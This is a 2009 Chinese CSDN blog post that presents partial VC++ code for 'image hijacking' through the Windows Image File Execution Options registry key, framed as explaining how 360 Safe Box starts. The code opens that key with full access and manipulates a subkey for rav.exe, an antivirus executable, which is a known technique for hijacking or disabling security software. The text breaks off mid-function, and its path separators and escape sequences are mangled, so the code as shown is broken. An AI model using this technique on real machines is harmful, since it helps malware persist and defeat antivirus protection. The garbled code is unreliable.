VC++实现镜像劫持（360保险箱启动原理）

尹成

于 2009-08-26 13:41:00 发布

阅读量3.9k

点赞数

分类专栏： VC++编程技术 VisualC++信息安全编程文章标签： vc++ 360 access delete null include

本文链接：https://blog.csdn.net/itcastcpp/article/details/4486397

版权

该博客详细介绍了如何使用VC++编写代码实现镜像劫持，具体操作包括通过修改注册表实现对特定程序（如rav.exe）的劫持，以及360保险箱的启动原理。代码示例展示了如何打开并操作注册表键，创建子键，设置值，以及执行被劫持的程序。

摘要由CSDN通过智能技术生成

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
{
char temp[256];
DWORD ret;
LPCTSTR szRegKey="SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options"; //定义字符串指针，保存映像劫持的键位
HKEY h_KEY;
if(argc!=1)   //如果参数不是1个，提取第2个参数，也就是被劫持程序的路径
{
  memset(temp,0,256);
  strcpy(temp,argv[1]);
  for(int i=0;i<strlen(temp);i++)    //将路径中的/换为/，也可以换为//，就是代码长了点
  {
   if(temp[i]=='//')
    temp[i]='/';
  }
  ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄
  if(ret==ERROR_SUCCESS)
  {
   printf("open ok!/n");
   if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe")) //将上面打开的子键下的rav子键删除